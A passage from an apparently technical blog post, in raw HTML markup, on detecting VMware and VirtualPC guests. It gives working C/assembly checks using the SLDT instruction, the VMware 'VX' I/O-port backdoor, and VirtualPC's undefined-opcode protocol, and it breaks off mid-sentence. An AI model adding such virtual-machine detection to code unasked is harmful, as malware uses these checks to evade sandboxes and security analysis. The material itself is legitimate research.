&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ldt_base &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kw4&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kw4&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;&amp;amp;&lt;/span&gt;ldtr&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;0&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;ldt_base &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; 0xdead0000&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw3&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;LDT at normal offset&lt;span class=&quot;es1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;es1&quot;&gt;&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;else&lt;/span&gt; &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw3&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;LDT found: inside VMware&lt;span class=&quot;es1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;es1&quot;&gt;&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;On line #6, SLDT is the assembly instruction to store the segment selector from the local descriptor table register (LDTR) in the destination operand. It’s important to note &lt;em&gt;this instruction is also an unprivileged instruction that can be executed at any privilege level&lt;/em&gt;!&lt;br /&gt;
&lt;br /&gt;
Another interesting feature of VMware is seen when executing the IN instruction from user-land of common OSs like Linux, Windows, etc (and more accurately, when executing this instruction in ring3). IN is the “Input from Port” instruction. It copies the value from the I/O port specified with the source operand to the destination operand. &amp;nbsp;The IN instruction is a privileged instruction which cannot be run from ring3 (user-land), therefore when executed, an exception should be thrown. However, when VMware is running, no exception is generated if a special input port is specified. That port is “0×5658,” aka: “VX.” This technique is described in much more detail in the original posting &lt;a href=&quot;http://www.codeproject.com/KB/system/VmDetect.aspx&quot;&gt;&lt;span style=&quot;color: #044d8b;&quot;&gt;here&lt;/span&gt;&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Example code is below, with comments added to explain each step.&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;&lt;style&gt;
  div.embedPastebin { padding: 0; color: #000; margin: 0; font-family: monospace; background: #eee; border: 1px solid black; }  div.embedPastebin { border: none; }  div.embedPastebin div.embedFooter { background: #ccc; font-size: 100%; padding: 0px 6px; }  div.embedPastebin div.embedFooter a,  div.embedPastebin div.embedFooter a:visited { color: blue; }  div.embedPastebin div.embedFooter a:hover { color: red; }  .noLines ol { list-style-type: none; padding-left: 0.5em; } 
&lt;/style&gt;&lt;div class=&quot;embedPastebin&quot;&gt;&lt;div class=&quot;embedFooter&quot;&gt;Data provided by &lt;a href=&quot;http://pastebin.com/&quot;&gt;Pastebin.com&lt;/a&gt; - &lt;a href=&quot;http://pastebin.com/raw.php?i=cexwfKn4&quot; target=&quot;_top&quot;&gt;Download Raw&lt;/a&gt;&lt;/div&gt;&lt;style&gt;
&lt;/style&gt;&lt;style type=&quot;text/css&quot;&gt;
/** * GeSHi (C) 2004 - 2007 Nigel McNie, 2007 - 2008 Benny Baumann * (http://qbnz.com/highlighter/ and http://geshi.org/) */.c .de1, .c .de2 {font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;}.c  {font-family:monospace;}.c .imp {font-weight: bold; color: red;}.c li, .c .li1 {background: #ffffff;}.c .ln {width:1px;text-align:right;margin:0;padding:0 2px;vertical-align:top;}.c .li2 {background: #f8f8f8;}.c .kw1 {color: #b1b100;}.c .kw2 {color: #000000; font-weight: bold;}.c .kw3 {color: #000066;}.c .kw4 {color: #993333;}.c .co1 {color: #666666; font-style: italic;}.c .co2 {color: #339933;}.c .coMULTI {color: #808080; font-style: italic;}.c .es0 {color: #000099; font-weight: bold;}.c .es1 {color: #000099; font-weight: bold;}.c .es2 {color: #660099; font-weight: bold;}.c .es3 {color: #660099; font-weight: bold;}.c .es4 {color: #660099; font-weight: bold;}.c .es5 {color: #006699; font-weight: bold;}.c .br0 {color: #009900;}.c .sy0 {color: #339933;}.c .st0 {color: #ff0000;}.c .nu0 {color: #0000dd;}.c .nu6 {color: #208080;}.c .nu8 {color: #208080;}.c .nu12 {color: #208080;}.c .nu16 {color:#800080;}.c .nu17 {color:#800080;}.c .nu18 {color:#800080;}.c .nu19 {color:#800080;}.c .me1 {color: #202020;}.c .me2 {color: #202020;}.c span.xtra { display:block; }
&lt;/style&gt;&lt;div class=&quot;c&quot; style=&quot;font-family: monospace;&quot;&gt;&lt;ol&gt;&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;kw4&quot;&gt;void&lt;/span&gt; detectVMwareINcmd &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kw4&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &lt;span class=&quot;kw4&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kw4&quot;&gt;int&lt;/span&gt; a&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; b&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; __try &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; __asm &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// standard stack setup, nothing special&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; push eax &amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; push ebx&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; push ecx&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; push edx&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// first, push the value &quot;VMXh&quot; into EAX. If the IN command&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// is successful (meaning we&#39;re in VMware), this fingerprint&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// will be placed into the EBX register by VMware.&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov eax&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;VMXh&#39;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// ECX stores the VMware &quot;backdoor&quot; command we&#39;re trying &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// to issue. 0x0a is one of several commands. This one gets &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// the version of VMware running.&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov ecx&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; 0Ah&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// This is the input operand to the IN instruction and must &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// be &quot;VX&quot; to activate this &quot;backdoor&quot; feature. &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov dx&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;VX&#39;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// Key instruction is issued&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; in eax&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; dx&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// If we got here, then we&#39;re in VMware, since an exception &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// would have been thrown otherwise.&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov a&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; ebx&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mov b&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; ecx&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// standard stack tear down, nothing special&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pop edx&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pop ecx&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pop ebx&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pop eax&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt; &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; __except &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;EXCEPTION_EXECUTE_HANDLER&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// if the fingerprint was pushed into the EBX register, &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// we can check the results&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;a &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&#39;VMXh&#39;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt; &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw3&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;VMware found.&lt;span class=&quot;es1&quot;&gt; &lt;/span&gt;Version is: &quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;co1&quot;&gt;// the ECX register actually received the version code, tested next:&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;b &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; 1&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw3&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;Express&lt;span class=&quot;es1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;es1&quot;&gt;&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;b &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; 2&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw3&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;ESX&lt;span class=&quot;es1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;es1&quot;&gt;&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;b &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; 3&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw3&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;GSX&lt;span class=&quot;es1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;es1&quot;&gt;&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;b &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; 4&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw3&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;Workstation&lt;span class=&quot;es1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;es1&quot;&gt;&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;else&lt;/span&gt; &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw3&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;some other version&lt;span class=&quot;es1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;es1&quot;&gt;&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;else&lt;/span&gt; &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw3&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot;&gt;&quot;fingerprint never made it to EBX, not VMware&lt;span class=&quot;es1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;es1&quot;&gt;&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Some people writing for SANS have said that disabling certain configuration option in VMware will defeat this type of detection mechanism. Unfortunately, the real IN instruction would never change any register other than EAX in the first place, so all the other register changes that take place when executing the instruction in VMware are still detectable. Other counter-measures have been proposed, however they are too unstable and unusable in the real world for us to consider here.&lt;br /&gt;
&lt;h1&gt;VirtualPC&lt;/h1&gt;&amp;nbsp; VirtualPC is also a reduced privilege VM, like non-ESX versions of VMware, and is just as trivial to detect. The IDT and LDT table structures tests described in the VMware section apply to VirtualPC as-is. In fact, those tests apply to all the big-name VMs that people are most familiar with in the Reduced Privilege category of VMs. VirtualPC has functionality similar to VMware’s use of the IN instruction, however it uses illegal instructions to trigger exceptions the kernel will catch. For example, issuing the following machine code would normally cause an exception because it’s an undefined opcode: 0F 3F 0A 00 But, with VirtualPC running, no exception is generated because this is part of VirtualPC’s guest to host communication protocol. Therefore, the code in the VMware example can simply be modified to issue this opcode, then test for a lack of exception. A more interesting feature of VirtualPC is its use of “buffered code 